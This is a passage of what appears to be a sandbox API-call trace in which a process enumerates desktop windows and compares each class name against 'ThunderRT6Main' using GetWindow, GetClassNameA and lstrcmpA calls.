lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8d0 [0224.393] GetWindowLongA (hWnd=0x201c2, nIndex=-16) returned -2080374784 [0224.393] GetWindowLongPtrA (hWnd=0x201c2, nIndex=-6) returned 0x7fef0c30000 [0224.393] GetWindowLongPtrA (hWnd=0x201c2, nIndex=-6) returned 0x7fef0c30000 [0224.393] GetWindow (hWnd=0x201c2, uCmd=0x2) returned 0x301a4 [0224.393] GetClassNameA (in: hWnd=0x301a4, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="ARC Window Class O16") returned 20 [0224.393] lstrcmpA (lpString1="ARC Window Class O16", lpString2="ThunderRT6Main") returned -1 [0224.393] GetWindowThreadProcessId (in: hWnd=0x301a4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8d0 [0224.393] GetWindowLongA (hWnd=0x301a4, nIndex=-16) returned -2080374784 [0224.393] GetWindowLongPtrA (hWnd=0x301a4, nIndex=-6) returned 0x13f690000 [0224.393] GetWindowLongPtrA (hWnd=0x301a4, nIndex=-6) returned 0x13f690000 [0224.393] GetWindow (hWnd=0x301a4, uCmd=0x2) returned 0x101a0 [0224.393] GetClassNameA (in: hWnd=0x101a0, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0224.393] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0224.393] GetWindowThreadProcessId (in: hWnd=0x101a0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x508 [0224.393] GetWindow (hWnd=0x101a0, uCmd=0x2) returned 0x1019e [0224.393] GetClassNameA (in: hWnd=0x1019e, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="upset_logitech_elsewhere_class") returned 30 [0224.393] lstrcmpA (lpString1="upset_logitech_elsewhere_class", lpString2="ThunderRT6Main") returned 1 [0224.393] GetWindowThreadProcessId (in: hWnd=0x1019e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x508 [0224.393] GetWindow (hWnd=0x1019e, uCmd=0x2) returned 0x1019c [0224.393] GetClassNameA (in: hWnd=0x1019c, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0224.393] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0224.393] GetWindowThreadProcessId (in: hWnd=0x1019c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x64 [0224.393] GetWindow (hWnd=0x1019c, uCmd=0x2) returned 0x1019a [0224.393] GetClassNameA (in: hWnd=0x1019a, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="Drinkingfoamwindow") returned 18 [0224.393] lstrcmpA (lpString1="Drinkingfoamwindow", lpString2="ThunderRT6Main") returned -1 [0224.393] GetWindowThreadProcessId (in: hWnd=0x1019a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x64 [0224.393] GetWindow (hWnd=0x1019a, uCmd=0x2) returned 0x10196 [0224.393] GetClassNameA (in: hWnd=0x10196, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="islamapp") returned 8 [0224.393] lstrcmpA (lpString1="islamapp", lpString2="ThunderRT6Main") returned -1 [0224.394] GetWindowThreadProcessId (in: hWnd=0x10196, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x500 [0224.394] GetWindow (hWnd=0x10196, uCmd=0x2) returned 0x10198 [0224.394] GetClassNameA (in: hWnd=0x10198, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0224.394] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0224.394] GetWindowThreadProcessId (in: hWnd=0x10198, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x500 [0224.394] GetWindow (hWnd=0x10198, uCmd=0x2) returned 0x10192 [0224.394] GetClassNameA (in: hWnd=0x10192, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="strategy_cls") returned 12 [0224.394] lstrcmpA (lpString1="strategy_cls", lpString2="ThunderRT6Main") returned -1 [0224.394] GetWindowThreadProcessId (in: hWnd=0x10192, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7dc [0224.394] GetWindow (hWnd=0x10192, uCmd=0x2) returned 0x10194 [0224.394] GetClassNameA (in: hWnd=0x10194, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0224.394] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0224.394] GetWindowThreadProcessId (in: hWnd=0x10194, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7dc [0224.394] GetWindow (hWnd=0x10194, uCmd=0x2) returned 0x1018e [0224.394] GetClassNameA (in: hWnd=0x1018e, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="Adversewin") returned 10 [0224.394] lstrcmpA (lpString1="Adversewin", lpString2="ThunderRT6Main") returned -1 [0224.394] GetWindowThreadProcessId (in: hWnd=0x1018e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x778 [0224.394] GetWindow (hWnd=0x1018e, uCmd=0x2) returned 0x10190 [0224.394] GetClassNameA (in: hWnd=0x10190, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0224.394] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0224.394] GetWindowThreadProcessId (in: hWnd=0x10190, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x778 [0224.394] GetWindow (hWnd=0x10190, uCmd=0x2) returned 0x1018a [0224.394] GetClassNameA (in: hWnd=0x1018a, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="Heights") returned 7 [0224.394] lstrcmpA (lpString1="Heights", lpString2="ThunderRT6Main") returned -1 [0224.394] GetWindowThreadProcessId (in: hWnd=0x1018a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x57c [0224.394] GetWindow (hWnd=0x1018a, uCmd=0x2) returned 0x1018c [0224.394] GetClassNameA (in: hWnd=0x1018c, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0224.394] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0224.394] GetWindowThreadProcessId (in: hWnd=0x1018c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x57c [0224.394] GetWindow (hWnd=0x1018c, uCmd=0x2) returned 0x10186 [0224.394] GetClassNameA (in: hWnd=0x10186, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="Recipe_button_class") returned 19 [0224.394] lstrcmpA (lpString1="Recipe_button_class", lpString2="ThunderRT6Main") returned -1 [0224.394] GetWindowThreadProcessId (in: hWnd=0x10186, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x28c [0224.394] GetWindow (hWnd=0x10186, uCmd=0x2) returned 0x10188 [0224.394] GetClassNameA (in: hWnd=0x10188, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0224.394] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0224.394] GetWindowThreadProcessId (in: hWnd=0x10188, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x28c [0224.394] GetWindow (hWnd=0x10188, uCmd=0x2) returned 0x10182 [0224.394] GetClassNameA (in: hWnd=0x10182, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="lodging_winning_Deadly_class") returned 28 [0224.394] lstrcmpA (lpString1="lodging_winning_Deadly_class", lpString2="ThunderRT6Main") returned -1 [0224.394] GetWindowThreadProcessId (in: hWnd=0x10182, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x574 [0224.394] GetWindow (hWnd=0x10182, uCmd=0x2) returned 0x10184 [0224.394] GetClassNameA (in: hWnd=0x10184, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0224.395] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0224.395] GetWindowThreadProcessId (in: hWnd=0x10184, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x574 [0224.395] GetWindow (hWnd=0x10184, uCmd=0x2) returned 0x1017e [0224.395] GetClassNameA (in: hWnd=0x1017e, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="Bloomberg") returned 9 [0224.395] lstrcmpA (lpString1="Bloomberg", lpString2="ThunderRT6Main") returned -1 [0224.395] GetWindowThreadProcessId (in: hWnd=0x1017e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x350 [0224.395] GetWindow (hWnd=0x1017e, uCmd=0x2) returned 0x10180 [0224.395] GetClassNameA (in: hWnd=0x10180, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0224.395] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0224.395] GetWindowThreadProcessId (in: hWnd=0x10180, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x350 [0224.395] GetWindow (hWnd=0x10180, uCmd=0x2) returned 0x1017a [0224.395] GetClassNameA (in: hWnd=0x1017a, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="Downloadablewindow") returned 18 [0224.395] lstrcmpA (lpString1="Downloadablewindow", lpString2="ThunderRT6Main") returned -1 [0224.395] GetWindowThreadProcessId (in: hWnd=0x1017a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x594 [0224.395] GetWindow (hWnd=0x1017a, uCmd=0x2) returned 0x1017c [0224.395] GetClassNameA (in: hWnd=0x1017c, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0224.395] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0224.395] GetWindowThreadProcessId (in: hWnd=0x1017c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x594 [0224.395] GetWindow (hWnd=0x1017c, uCmd=0x2) returned 0x10176 [0224.395] GetClassNameA (in: hWnd=0x10176, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="Agree_Earliest_wnd") returned 18 [0224.395] lstrcmpA (lpString1="Agree_Earliest_wnd", lpString2="ThunderRT6Main") returned -1 [0224.395] GetWindowThreadProcessId (in: hWnd=0x10176, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7c8 [0224.395] GetWindow (hWnd=0x10176, uCmd=0x2) returned 0x10178 [0224.395] GetClassNameA (in: hWnd=0x10178, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0224.395] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0224.395] GetWindowThreadProcessId (in: hWnd=0x10178, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7c8 [0224.395] GetWindow (hWnd=0x10178, uCmd=0x2) returned 0x10172 [0224.395] GetClassNameA (in: hWnd=0x10172, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="operationclass") returned 14 [0224.395] lstrcmpA (lpString1="operationclass", lpString2="ThunderRT6Main") returned -1 [0224.395] GetWindowThreadProcessId (in: hWnd=0x10172, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x248 [0224.395] GetWindow (hWnd=0x10172, uCmd=0x2) returned 0x10174 [0224.395] GetClassNameA (in: hWnd=0x10174, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0224.395] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0224.395] GetWindowThreadProcessId (in: hWnd=0x10174, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x248 [0224.395] GetWindow (hWnd=0x10174, uCmd=0x2) returned 0x1016e [0224.395] GetClassNameA (in: hWnd=0x1016e, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="Beenutritionalwindow") returned 20 [0224.395] lstrcmpA (lpString1="Beenutritionalwindow", lpString2="ThunderRT6Main") returned -1 [0224.395] GetWindowThreadProcessId (in: hWnd=0x1016e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x698 [0224.395] GetWindow (hWnd=0x1016e, uCmd=0x2) returned 0x10170 [0224.395] GetClassNameA (in: hWnd=0x10170, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0224.396] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0224.396] GetWindowThreadProcessId (in: hWnd=0x10170, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x698 [0224.396] GetWindow (hWnd=0x10170, uCmd=0x2) returned 0x1016a [0224.396] GetClassNameA (in: hWnd=0x1016a, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="nose_class") returned 10 [0224.396] lstrcmpA (lpString1="nose_class", lpString2="ThunderRT6Main") returned -1 [0224.396] GetWindowThreadProcessId (in: hWnd=0x1016a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x318 [0224.396] GetWindow (hWnd=0x1016a, uCmd=0x2) returned 0x1016c [0224.396] GetClassNameA (in: hWnd=0x1016c, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0224.396] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0224.396] GetWindowThreadProcessId (in: hWnd=0x1016c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x318 [0224.396] GetWindow (hWnd=0x1016c, uCmd=0x2) returned 0x10166 [0224.396] GetClassNameA (in: hWnd=0x10166, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="Focal_Mia_Distributors_cls") returned 26 [0224.396] lstrcmpA (lpString1="Focal_Mia_Distributors_cls", lpString2="ThunderRT6Main") returned -1 [0224.396] GetWindowThreadProcessId (in: hWnd=0x10166, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7f8 [0224.396] GetWindow (hWnd=0x10166, uCmd=0x2) returned 0x10168 [0224.396] GetClassNameA (in: hWnd=0x10168, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0224.396] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0224.396] GetWindowThreadProcessId (in: hWnd=0x10168, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7f8 [0224.396] GetWindow (hWnd=0x10168, uCmd=0x2) returned 0x10162 [0224.396] GetClassNameA (in: hWnd=0x10162, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="duo_rights_referenced_app") returned 25 [0224.396] lstrcmpA (lpString1="duo_rights_referenced_app", lpString2="ThunderRT6Main") returned -1 [0224.396] GetWindowThreadProcessId (in: hWnd=0x10162, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x58c [0224.396] GetWindow (hWnd=0x10162, uCmd=0x2) returned 0x10164 [0224.396] GetClassNameA (in: hWnd=0x10164, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0224.396] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0224.396] GetWindowThreadProcessId (in: hWnd=0x10164, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x58c [0224.396] GetWindow (hWnd=0x10164, uCmd=0x2) returned 0x1015e [0224.396] GetClassNameA (in: hWnd=0x1015e, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="advertisecharliePhaseswindow") returned 28 [0224.396] lstrcmpA (lpString1="advertisecharliePhaseswindow", lpString2="ThunderRT6Main") returned -1 [0224.396] GetWindowThreadProcessId (in: hWnd=0x1015e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6f0 [0224.396] GetWindow (hWnd=0x1015e, uCmd=0x2) returned 0x10160 [0224.396] GetClassNameA (in: hWnd=0x10160, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0224.396] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0224.396] GetWindowThreadProcessId (in: hWnd=0x10160, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6f0 [0224.396] GetWindow (hWnd=0x10160, uCmd=0x2) returned 0x1015a [0224.396] GetClassNameA (in: hWnd=0x1015a, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="Directly_app") returned 12 [0224.396] lstrcmpA (lpString1="Directly_app", lpString2="ThunderRT6Main") returned -1 [0224.396] GetWindowThreadProcessId (in: hWnd=0x1015a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5c8 [0224.396] GetWindow (hWnd=0x1015a, uCmd=0x2) returned 0x1015c [0224.396] GetClassNameA (in: hWnd=0x1015c, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0224.397] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0224.397] GetWindowThreadProcessId (in: hWnd=0x1015c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5c8 [0224.397] GetWindow (hWnd=0x1015c, uCmd=0x2) returned 0x10156 [0224.397] GetClassNameA (in: hWnd=0x10156, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="camping_app") returned 11 [0224.397] lstrcmpA (lpString1="camping_app", lpString2="ThunderRT6Main") returned -1 [0224.397] GetWindowThreadProcessId (in: hWnd=0x10156, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x668 [0224.397] GetWindow (hWnd=0x10156, uCmd=0x2) returned 0x10158 [0224.397] GetClassNameA (in: hWnd=0x10158, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0224.397] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0224.397] GetWindowThreadProcessId (in: hWnd=0x10158, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x668 [0224.397] GetWindow (hWnd=0x10158, uCmd=0x2) returned 0x2010a [0224.397] GetClassNameA (in: hWnd=0x2010a, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="frogFredsuspectedapp") returned 20 [0224.397] lstrcmpA (lpString1="frogFredsuspectedapp", lpString2="ThunderRT6Main") returned -1 [0224.397] GetWindowThreadProcessId (in: hWnd=0x2010a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x664 [0224.397] GetWindow (hWnd=0x2010a, uCmd=0x2) returned 0x90154 [0224.397] GetClassNameA (in: hWnd=0x90154, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0224.397] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0224.397] GetWindowThreadProcessId (in: hWnd=0x90154, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x664 [0224.397] GetWindow (hWnd=0x90154, uCmd=0x2) returned 0x70118 [0224.397] GetClassNameA (in: hWnd=0x70118, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="AcquisitionsMilescls") returned 20 [0224.397] lstrcmpA (lpString1="AcquisitionsMilescls", lpString2="ThunderRT6Main") returned -1 [0224.397] GetWindowThreadProcessId (in: hWnd=0x70118, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5d0 [0224.397] GetWindow (hWnd=0x70118, uCmd=0x2) returned 0x3010e [0224.397] GetClassNameA (in: hWnd=0x3010e, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0224.397] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0224.397] GetWindowThreadProcessId (in: hWnd=0x3010e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5d0 [0224.397] GetWindow (hWnd=0x3010e, uCmd=0x2) returned 0x20116 [0224.397] GetClassNameA (in: hWnd=0x20116, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="FaxMonWinClass{3FD224BA-8556-47fb-B260-3E451BAE2793}") returned 52 [0224.397] lstrcmpA (lpString1="FaxMonWinClass{3FD224BA-8556-47fb-B260-3E451BAE2793}", lpString2="ThunderRT6Main") returned -1 [0224.397] GetWindowThreadProcessId (in: hWnd=0x20116, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6a4 [0224.397] GetWindow (hWnd=0x20116, uCmd=0x2) returned 0x1014a [0224.397] GetClassNameA (in: hWnd=0x1014a, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="BluetoothNotificationAreaIconWindowClass") returned 40 [0224.397] lstrcmpA (lpString1="BluetoothNotificationAreaIconWindowClass", lpString2="ThunderRT6Main") returned -1 [0224.397] GetWindowThreadProcessId (in: hWnd=0x1014a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6d4 [0224.397] GetWindow (hWnd=0x1014a, uCmd=0x2) returned 0x10148 [0224.397] GetClassNameA (in: hWnd=0x10148, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="MS_WebcheckMonitor") returned 18 [0224.397] lstrcmpA (lpString1="MS_WebcheckMonitor", lpString2="ThunderRT6Main") returned -1 [0224.397] GetWindowThreadProcessId (in: hWnd=0x10148, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6b0 [0224.397] GetWindow (hWnd=0x10148, uCmd=0x2) returned 0x2013e [0224.397] GetClassNameA (in: hWnd=0x2013e, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="PNIHiddenWnd") returned 12 [0224.397] lstrcmpA (lpString1="PNIHiddenWnd", lpString2="ThunderRT6Main") returned -1 [0224.397] GetWindowThreadProcessId (in: hWnd=0x2013e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6d4 [0224.398] GetWindow (hWnd=0x2013e, uCmd=0x2) returned 0x10132 [0224.398] GetClassNameA (in: hWnd=0x10132, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="Media Center SSO") returned 16 [0224.398] lstrcmpA (lpString1="Media Center SSO", lpString2="ThunderRT6Main") returned -1 [0224.398] GetWindowThreadProcessId (in: hWnd=0x10132, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6b0 [0224.398] GetWindow (hWnd=0x10132, uCmd=0x2) returned 0x10134 [0224.398] GetClassNameA (in: hWnd=0x10134, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0224.398] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0224.398] GetWindowThreadProcessId (in: hWnd=0x10134, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6b0 [0224.398] GetWindow (hWnd=0x10134, uCmd=0x2) returned 0x1012a [0224.398] GetClassNameA (in: hWnd=0x1012a, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="ATL:000007FEFC1141F0") returned 20 [0224.398] lstrcmpA (lpString1="ATL:000007FEFC1141F0", lpString2="ThunderRT6Main") returned -1 [0224.398] GetWindowThreadProcessId (in: hWnd=0x1012a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6d4 [0224.398] GetWindow (hWnd=0x1012a, uCmd=0x2) returned 0x1012c [0224.398] GetClassNameA (in: hWnd=0x1012c, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0224.398] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0224.398] GetWindowThreadProcessId (in: hWnd=0x1012c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6d4 [0224.398] GetWindow (hWnd=0x1012c, uCmd=0x2) returned 0x10120 [0224.398] GetClassNameA (in: hWnd=0x10120, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="SystemTray_Main") returned 15 [0224.398] lstrcmpA (lpString1="SystemTray_Main", lpString2="ThunderRT6Main") returned -1 [0224.398] GetWindowThreadProcessId (in: hWnd=0x10120, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6a4 [0224.398] GetWindow (hWnd=0x10120, uCmd=0x2) returned 0x10122 [0224.398] GetClassNameA (in: hWnd=0x10122, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0224.398] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0224.398] GetWindowThreadProcessId (in: hWnd=0x10122, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6a4 [0224.398] GetWindow (hWnd=0x10122, uCmd=0x2) returned 0x1011e [0224.398] GetClassNameA (in: hWnd=0x1011e, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0224.398] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0224.398] GetWindowThreadProcessId (in: hWnd=0x1011e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6a4 [0224.398] GetWindow (hWnd=0x1011e, uCmd=0x2) returned 0x200c0 [0224.398] GetClassNameA (in: hWnd=0x200c0, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0224.398] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0224.398] GetWindowThreadProcessId (in: hWnd=0x200c0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0224.398] GetWindow (hWnd=0x200c0, uCmd=0x2) returned 0x200ae [0224.398] GetClassNameA (in: hWnd=0x200ae, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="AUTHUI.DLL: Shutdown Choices Message Window") returned 43 [0224.398] lstrcmpA (lpString1="AUTHUI.DLL: Shutdown Choices Message Window", lpString2="ThunderRT6Main") returned -1 [0224.398] GetWindowThreadProcessId (in: hWnd=0x200ae, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0224.398] GetWindow (hWnd=0x200ae, uCmd=0x2) returned 0x200b0 [0224.398] GetClassNameA (in: hWnd=0x200b0, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="_SearchEditBoxFakeWindow") returned 24 [0224.398] lstrcmpA (lpString1="_SearchEditBoxFakeWindow", lpString2="ThunderRT6Main") returned -1 [0224.398] GetWindowThreadProcessId (in: hWnd=0x200b0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0224.398] GetWindow (hWnd=0x200b0, uCmd=0x2) returned 0x200b4 [0224.398] GetClassNameA (in: hWnd=0x200b4, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0224.398] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0224.399] GetWindowThreadProcessId (in: hWnd=0x200b4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0224.399] GetWindow (hWnd=0x200b4, uCmd=0x2) returned 0x200bc [0224.399] GetClassNameA (in: hWnd=0x200bc, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0224.399] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0224.399] GetWindowThreadProcessId (in: hWnd=0x200bc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0224.399] GetWindow (hWnd=0x200bc, uCmd=0x2) returned 0x300ca [0224.399] GetClassNameA (in: hWnd=0x300ca, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0224.399] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0224.399] GetWindowThreadProcessId (in: hWnd=0x300ca, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0224.399] GetWindow (hWnd=0x300ca, uCmd=0x2) returned 0x800a0 [0224.399] GetClassNameA (in: hWnd=0x800a0, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="DV2ControlHost") returned 14 [0224.399] lstrcmpA (lpString1="DV2ControlHost", lpString2="ThunderRT6Main") returned -1 [0224.399] GetWindowThreadProcessId (in: hWnd=0x800a0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0224.399] GetWindow (hWnd=0x800a0, uCmd=0x2) returned 0x20018 [0224.399] GetClassNameA (in: hWnd=0x20018, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="OneNoteM") returned 8 [0224.399] lstrcmpA (lpString1="OneNoteM", lpString2="ThunderRT6Main") returned -1 [0224.399] GetWindowThreadProcessId (in: hWnd=0x20018, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x54c [0224.399] GetWindow (hWnd=0x20018, uCmd=0x2) returned 0x2001a [0224.399] GetClassNameA (in: hWnd=0x2001a, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0224.399] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0224.399] GetWindowThreadProcessId (in: hWnd=0x2001a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x54c [0224.399] GetWindow (hWnd=0x2001a, uCmd=0x2) returned 0x2001c [0224.399] GetClassNameA (in: hWnd=0x2001c, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="GDI+ Hook Window Class") returned 22 [0224.399] lstrcmpA (lpString1="GDI+ Hook Window Class", lpString2="ThunderRT6Main") returned -1 [0224.399] GetWindowThreadProcessId (in: hWnd=0x2001c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x43c [0224.399] GetWindow (hWnd=0x2001c, uCmd=0x2) returned 0x20016 [0224.399] GetClassNameA (in: hWnd=0x20016, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0224.399] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0224.399] GetWindowThreadProcessId (in: hWnd=0x20016, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x43c [0224.399] GetWindow (hWnd=0x20016, uCmd=0x2) returned 0x200a2 [0224.399] GetClassNameA (in: 